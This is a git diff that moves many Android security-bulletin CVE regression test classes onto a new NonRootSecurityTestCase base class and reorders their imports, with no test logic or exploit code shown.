diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java
index 1c5a180e64e..448611fbb4e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2019 extends SecurityTestCase {
+public class CVE_2019_2019 extends NonRootSecurityTestCase {
/**
* b/115635871
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
index b65faeef587..9ea384649f9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
@@ -20,15 +20,16 @@ import android.platform.test.annotations.AsbSecurityTest;
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import java.util.regex.Pattern;
-
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2020 extends SecurityTestCase {
+public class CVE_2019_2020 extends NonRootSecurityTestCase {
/**
* b/116788646
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java
index 8d0d4d65909..b2fd563b5fd 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2021 extends SecurityTestCase {
+public class CVE_2019_2021 extends NonRootSecurityTestCase {
/**
* b/120428041
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java
index 057e937e868..e60f0ba8918 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2022 extends SecurityTestCase {
+public class CVE_2019_2022 extends NonRootSecurityTestCase {
/**
* b/120506143
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java
index df6c6f4b6b2..ad289bf43b9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java
@@ -17,13 +17,16 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2027 extends SecurityTestCase {
+public class CVE_2019_2027 extends NonRootSecurityTestCase {
/**
* b/119120561
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
index 21b22856fcc..dc941865c22 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
@@ -20,15 +20,16 @@ import android.platform.test.annotations.AsbSecurityTest;
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import java.util.regex.Pattern;
-
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2031 extends SecurityTestCase {
+public class CVE_2019_2031 extends NonRootSecurityTestCase {
/**
* b/120502559
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java
index 8757455e954..a6435617a6a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2035 extends SecurityTestCase {
+public class CVE_2019_2035 extends NonRootSecurityTestCase {
/**
* b/122320256
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java
index 4fe01646da1..46c0eb4b7e8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2038 extends SecurityTestCase {
+public class CVE_2019_2038 extends NonRootSecurityTestCase {
/**
* b/121259048
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java
index 63903409371..f411ae1bcd2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2039 extends SecurityTestCase {
+public class CVE_2019_2039 extends NonRootSecurityTestCase {
/**
* b/121260197
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java
index 6c6d2394329..062248a931d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2040 extends SecurityTestCase {
+public class CVE_2019_2040 extends NonRootSecurityTestCase {
/**
* b/122316913
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java
index e36c46f7974..a3f6307be76 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2044 extends SecurityTestCase {
+public class CVE_2019_2044 extends NonRootSecurityTestCase {
/**
* b/123701862
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java
index 16487a30037..ab2517dd82a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2099 extends SecurityTestCase {
+public class CVE_2019_2099 extends NonRootSecurityTestCase {
/**
* b/123583388
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java
index 1f3552c31ec..6aee640344b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2115 extends SecurityTestCase {
+public class CVE_2019_2115 extends NonRootSecurityTestCase {
/**
* b/129768470
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
index fe06a736bf6..cc9e24d61b1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
@@ -16,15 +16,16 @@
package android.security.cts;
-import com.android.tradefed.device.ITestDevice;
-
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2135 extends SecurityTestCase {
+public class CVE_2019_2135 extends NonRootSecurityTestCase {
/**
* b/125900276
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
index 91b20000241..cc50bb74e23 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2136 extends SecurityTestCase {
+public class CVE_2019_2136 extends NonRootSecurityTestCase {
/**
* b/132650049
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java
index 223e7684b1c..492010b642c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java
@@ -18,12 +18,15 @@ package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
import android.platform.test.annotations.SecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2178 extends SecurityTestCase {
+public class CVE_2019_2178 extends NonRootSecurityTestCase {
/**
* b/124462242
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2180.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2180.java
index 31ab4ce1c17..ae8f7ed9f34 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2180.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2180.java
@@ -18,13 +18,14 @@ package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2180 extends SecurityTestCase {
+public class CVE_2019_2180 extends NonRootSecurityTestCase {
/**
* b/110899492
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java
index 15fab836dd0..b393d26dec6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2206 extends SecurityTestCase {
+public class CVE_2019_2206 extends NonRootSecurityTestCase {
/**
* b/139188579
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java
index 7ce43c7ad1a..1951c67d3ce 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2207 extends SecurityTestCase {
+public class CVE_2019_2207 extends NonRootSecurityTestCase {
/**
* b/124524315
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
index dbd7cc8426d..fe3ff06afdf 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_9247 extends SecurityTestCase {
+public class CVE_2019_9247 extends NonRootSecurityTestCase {
/**
* b/120426166
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java
index 58a24499b95..282a677f2ea 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0006 extends SecurityTestCase {
+public class CVE_2020_0006 extends NonRootSecurityTestCase {
/**
* b/139738828
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
index 3aa0474a422..32a1e6ce404 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
@@ -23,13 +23,13 @@ import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0015 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2020_0015 extends NonRootSecurityTestCase {
@AppModeFull
@AsbSecurityTest(cveBugId = 139017101)
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java
index 1207d1abd74..5cae196efc6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java
@@ -16,21 +16,25 @@
package android.security.cts;
+import static org.hamcrest.CoreMatchers.not;
+import static org.hamcrest.core.Is.is;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assume.assumeThat;
+import static org.junit.matchers.JUnitMatchers.containsString;
+
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.device.ITestDevice;
-import java.util.Scanner;
-import static org.hamcrest.core.Is.is;
-import static org.hamcrest.CoreMatchers.not;
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
-import static org.junit.matchers.JUnitMatchers.containsString;
+import java.util.Scanner;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0018 extends SecurityTestCase {
+public class CVE_2020_0018 extends NonRootSecurityTestCase {
/**
* b/139945049
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
index 6689459f68a..3d054f099d1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
@@ -18,17 +18,17 @@ package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.compatibility.common.util.CrashUtils;
-
import java.util.Arrays;
-import java.util.ArrayList;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0034 extends SecurityTestCase {
+public class CVE_2020_0034 extends NonRootSecurityTestCase {
/**
* b/62458770
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
index 3a87304a91f..8e913fa5e4c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0037 extends SecurityTestCase {
+public class CVE_2020_0037 extends NonRootSecurityTestCase {
/**
* b/143106535
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
index c197972af7a..32394824f74 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0038 extends SecurityTestCase {
+public class CVE_2020_0038 extends NonRootSecurityTestCase {
/**
* b/143109193
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
index 76ce470724b..eaf41411dff 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0039 extends SecurityTestCase {
+public class CVE_2020_0039 extends NonRootSecurityTestCase {
/**
* b/143155861
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
index 7c00d842659..83e6b7a17e5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0072 extends SecurityTestCase {
+public class CVE_2020_0072 extends NonRootSecurityTestCase {
/**
* b/147310271
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
index 7a09a255072..8f285d0fdf7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
@@ -20,6 +20,7 @@ import android.platform.test.annotations.AsbSecurityTest;
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
@@ -28,7 +29,7 @@ import org.junit.runner.RunWith;
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0073 extends SecurityTestCase {
+public class CVE_2020_0073 extends NonRootSecurityTestCase {
/**
* b/147309942
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
index 614447c9a09..f523d472e03 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0226 extends SecurityTestCase {
+public class CVE_2020_0226 extends NonRootSecurityTestCase {
/**
* b/150226994
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java
index 237ed837a3f..a6609a4b26c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java
@@ -20,15 +20,16 @@ import android.platform.test.annotations.AsbSecurityTest;
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import java.util.regex.Pattern;
-
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.regex.Pattern;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0241 extends SecurityTestCase {
+public class CVE_2020_0241 extends NonRootSecurityTestCase {
/**
* b/151456667
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
index 2ba62bfb697..59c7370e823 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
@@ -17,13 +17,16 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0243 extends SecurityTestCase {
+public class CVE_2020_0243 extends NonRootSecurityTestCase {
/**
* b/151644303
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java
index 2bc254e0724..094eaea3d9c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java
@@ -19,7 +19,7 @@ package android.security.cts;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -27,7 +27,7 @@ import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0338 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2020_0338 extends NonRootSecurityTestCase {
@AppModeFull
@AsbSecurityTest(cveBugId = 123700107)
